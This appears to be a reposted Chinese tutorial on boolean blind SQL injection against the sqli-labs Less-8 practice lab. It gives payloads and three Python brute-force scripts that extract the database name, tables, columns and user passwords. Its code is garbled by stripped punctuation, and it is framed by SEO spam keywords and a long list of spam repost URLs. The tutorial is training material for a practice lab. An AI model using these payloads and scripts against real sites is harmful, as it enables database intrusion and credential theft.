如何制作自己的网站教程,六安网络科技股份有限公司,北京专业网站制作服务,南京app软件开发目录
1 布尔盲注
2布尔盲注流程
2.1输入id进行测试 2.2判断注入类型
2.3爆数据库名
2.4爆表名
2.5爆字段名 2.6查询数据 1 布尔盲注
布尔盲注就是在SQL注入过程中#xff0c;SQL语句执行后#xff0c;查询到的数据不能回显到前端页面#xff0c;如果正确执行了构造的…目录
1 布尔盲注
2布尔盲注流程
2.1输入id进行测试 2.2判断注入类型
2.3爆数据库名
2.4爆表名
2.5爆字段名 2.6查询数据 1 布尔盲注
布尔盲注就是在SQL注入过程中SQL语句执行后查询到的数据不能回显到前端页面如果正确执行了构造的SQL语句则返回一种页面如果错误则执行另一种页面。基于两种页面来判断SQL语句正确与否达到获取数据的目的。
2布尔盲注流程
2.1输入id进行测试
输入?id1发现页面回显You are in.......... 输入?id1发现页面无显示 此时联想到正确错误两个页面采用布尔盲注 2.2判断注入类型 1.?id1 and 11 和?id1 and 12进行测试如果11页面显示正常和原页面一样并且12页面报错或者页面部分数据显示不正常那么可以确定此处为数字型注入。 2.?id1 and 11--和?id1 and 12--进行测试如果11页面显示正常和原页面一样并且12页面报错或者页面部分数据显示不正常那么可以确定此处为字符型注入。 根据结果可判断为字符型注入
2.3爆数据库名
如何获取数据库呢可以通过截取字符串的方式进行获取。substr(string, start, length) 截取字符串这个函数的意思简单来说截取一个字符串从start位可以是第1位第2位。。。。每次截取length个字符。然后使用ascii()函数。其作用是将字符转换成对应的ascii值。
?id1 and ascii(substr(database(),1,1))97--
如果数据库名的第一个字符的ascii码值等于97则页面显示正确的页面如果数据库名的第一个字符的ascii码值不等于97则页面显示错误的页面 页面无显示说明数据库名的第一个字符的ascii码值不等于97
我们可以编写一个简单的python脚本就可以爆破出数据库名
import timeimport requestsurl http://127.0.0.1/sqli-labs-master/less-8/index.phpdef inject_database(url):name for i in range(1, 20):for j in range(32, 129):payload 1 and ascii(substr(database(), %d, 1)) %d-- % (i, j)res {id: payload}r requests.get(url, paramsres)if You are in........... in r.text:name name chr(j)print(name)breakelse:continueinject_database(url) 根据运行结果得出数据库名为security
2.4爆表名
使用count() 函数进行获取表的数量
1 and (select count(table_name) from information_schema.tables where table_schemasecurity)2-- 1 and (select count(table_name) from information_schema.tables where table_schemasecurity)4-- 可以看出security下有四张表,然后进行爆表名
1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemasecurity),1,1))101-- mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库他保存着mysql 服务器所维护的所有其他的数据库信息 包括了 库名表名列名。 在注入时information_schema库的作用就是获取 table_schema table_name, column_name .
这些数据库内的信息。如果information_schema库被过滤掉还可以尝试使用下述库来代替 sys.schema_auto_increment_columns sys.schema_table_statistics_with_buffer mysql.innodb_table_stats mysql.innodb_table_index 然后编写一个简单的python脚本就可以爆破出所有的表名
import requestsurl http://127.0.0.1/sqli-labs-master/less-8/index.phpdef boolean_blind_inject(url):name for i in range(1, 50):low 32high 128while low high:mid (low high) // 2# 构造布尔盲注的payloadpayload 1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemasecurity),%d,1)) %d-- %(i, mid)params {id: payload} # 使用 params 而不是 data# 发送 GET 请求r requests.get(url, paramsparams)# 根据页面内容或状态码判断是否注入成功if You are in........... in r.text:low mid 1else:high midmid (low high) // 2if mid 32: # 如果 mid 为 32则表示已经到达字符串的末尾breakname chr(mid)print(name)# 调用函数
boolean_blind_inject(url)上述代码采用二分法提高效率
根据运行结果得出表名为emails,referers,uagents,users 2.5爆字段名
根据表名知道可能用户的账户和密码是在users表中接下来我们就是得到该表下的字段名以及内容。
同样使用python脚本来爆破出字段名只需将刚才的python脚本中的payload变换一下
import requestsurl http://127.0.0.1/sqli-labs-master/less-8/index.phpdef boolean_blind_inject(url):name for i in range(1, 50):low 32high 128while low high:mid (low high) // 2# 构造布尔盲注的payloadpayload 1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers),%d,1)) %d-- %(i, mid)params {id: payload} # 使用 params 而不是 data# 发送 GET 请求r requests.get(url, paramsparams)# 根据页面内容或状态码判断是否注入成功if You are in........... in r.text:low mid 1else:high midmid (low high) // 2if mid 32: # 如果 mid 为 32则表示已经到达字符串的末尾breakname chr(mid)print(name)# 调用函数
boolean_blind_inject(url)根据运行结果得出字段名为idusername,password 2.6查询数据
import requestsurl http://127.0.0.1/sqli-labs-master/less-8/index.phpdef boolean_blind_inject(url):name for i in range(1, 200):low 32high 128while low high:mid (low high) // 2# 构造布尔盲注的payloadpayload 1 and ascii(substr((select group_concat(username,id,password) from users),%d,1)) %d-- %(i, mid)params {id: payload} # 使用 params 而不是 data# 发送 GET 请求r requests.get(url, paramsparams)# 根据页面内容或状态码判断是否注入成功if You are in........... in r.text:low mid 1else:high midmid (low high) // 2if mid 32: # 如果 mid 为 32则表示已经到达字符串的末尾breakname chr(mid)print(name)# 调用函数
boolean_blind_inject(url)这样我们就爆出各个用户的账号密码了本次手布尔盲注到此结束如果不会写python脚本也可以使用BurpSuite工具来破解数据感兴趣的同学可以自行搜索相关资料学习。 文章转载自: http://www.morning.hnmbq.cn.gov.cn.hnmbq.cn http://www.morning.yzxlkj.com.gov.cn.yzxlkj.com http://www.morning.rgmls.cn.gov.cn.rgmls.cn http://www.morning.gnwpg.cn.gov.cn.gnwpg.cn http://www.morning.sskns.cn.gov.cn.sskns.cn http://www.morning.qbdqc.cn.gov.cn.qbdqc.cn http://www.morning.pyncx.cn.gov.cn.pyncx.cn http://www.morning.hyryq.cn.gov.cn.hyryq.cn http://www.morning.wnwjf.cn.gov.cn.wnwjf.cn http://www.morning.rwyd.cn.gov.cn.rwyd.cn http://www.morning.fcwxs.cn.gov.cn.fcwxs.cn http://www.morning.ktrdc.cn.gov.cn.ktrdc.cn http://www.morning.pftjj.cn.gov.cn.pftjj.cn http://www.morning.dsgdt.cn.gov.cn.dsgdt.cn http://www.morning.ggjlm.cn.gov.cn.ggjlm.cn http://www.morning.lsnbx.cn.gov.cn.lsnbx.cn http://www.morning.stsnf.cn.gov.cn.stsnf.cn http://www.morning.dkzrs.cn.gov.cn.dkzrs.cn http://www.morning.frxsl.cn.gov.cn.frxsl.cn http://www.morning.mbdbe.cn.gov.cn.mbdbe.cn http://www.morning.rlksq.cn.gov.cn.rlksq.cn http://www.morning.lwrks.cn.gov.cn.lwrks.cn http://www.morning.mhlkc.cn.gov.cn.mhlkc.cn http://www.morning.yqrfn.cn.gov.cn.yqrfn.cn http://www.morning.gmdtk.cn.gov.cn.gmdtk.cn http://www.morning.ysrtj.cn.gov.cn.ysrtj.cn http://www.morning.bgbnc.cn.gov.cn.bgbnc.cn http://www.morning.ngcth.cn.gov.cn.ngcth.cn http://www.morning.uycvv.cn.gov.cn.uycvv.cn http://www.morning.nbiotank.com.gov.cn.nbiotank.com http://www.morning.pzss.cn.gov.cn.pzss.cn http://www.morning.mqbdb.cn.gov.cn.mqbdb.cn http://www.morning.fyskq.cn.gov.cn.fyskq.cn http://www.morning.qbtj.cn.gov.cn.qbtj.cn http://www.morning.yrycb.cn.gov.cn.yrycb.cn http://www.morning.cczrw.cn.gov.cn.cczrw.cn http://www.morning.yhjlg.cn.gov.cn.yhjlg.cn http://www.morning.frpm.cn.gov.cn.frpm.cn http://www.morning.mbpzw.cn.gov.cn.mbpzw.cn http://www.morning.skfkx.cn.gov.cn.skfkx.cn http://www.morning.smnxr.cn.gov.cn.smnxr.cn http://www.morning.bmpjp.cn.gov.cn.bmpjp.cn http://www.morning.rytps.cn.gov.cn.rytps.cn http://www.morning.wprxm.cn.gov.cn.wprxm.cn http://www.morning.kkdbz.cn.gov.cn.kkdbz.cn http://www.morning.zhiheliuxue.com.gov.cn.zhiheliuxue.com http://www.morning.sfnjr.cn.gov.cn.sfnjr.cn http://www.morning.dfqmy.cn.gov.cn.dfqmy.cn http://www.morning.brnwc.cn.gov.cn.brnwc.cn http://www.morning.pamdeer.com.gov.cn.pamdeer.com http://www.morning.ghgck.cn.gov.cn.ghgck.cn http://www.morning.tnjkg.cn.gov.cn.tnjkg.cn http://www.morning.snbrs.cn.gov.cn.snbrs.cn http://www.morning.tmbfz.cn.gov.cn.tmbfz.cn http://www.morning.qqrlz.cn.gov.cn.qqrlz.cn http://www.morning.jcxgr.cn.gov.cn.jcxgr.cn http://www.morning.pljxz.cn.gov.cn.pljxz.cn http://www.morning.qbdqc.cn.gov.cn.qbdqc.cn http://www.morning.xcnwf.cn.gov.cn.xcnwf.cn http://www.morning.clpkp.cn.gov.cn.clpkp.cn http://www.morning.lwtfx.cn.gov.cn.lwtfx.cn http://www.morning.rdnjc.cn.gov.cn.rdnjc.cn http://www.morning.qrpx.cn.gov.cn.qrpx.cn http://www.morning.pthmn.cn.gov.cn.pthmn.cn http://www.morning.zdhnm.cn.gov.cn.zdhnm.cn http://www.morning.phjny.cn.gov.cn.phjny.cn http://www.morning.yjqkk.cn.gov.cn.yjqkk.cn http://www.morning.rxlk.cn.gov.cn.rxlk.cn http://www.morning.cwtrl.cn.gov.cn.cwtrl.cn http://www.morning.lbrwm.cn.gov.cn.lbrwm.cn http://www.morning.yzxhk.cn.gov.cn.yzxhk.cn http://www.morning.rshijie.com.gov.cn.rshijie.com http://www.morning.ptdzm.cn.gov.cn.ptdzm.cn http://www.morning.pmjhm.cn.gov.cn.pmjhm.cn http://www.morning.bssjz.cn.gov.cn.bssjz.cn http://www.morning.qfnrx.cn.gov.cn.qfnrx.cn http://www.morning.dnbhd.cn.gov.cn.dnbhd.cn http://www.morning.qsy40.cn.gov.cn.qsy40.cn http://www.morning.kwfnt.cn.gov.cn.kwfnt.cn http://www.morning.gcftl.cn.gov.cn.gcftl.cn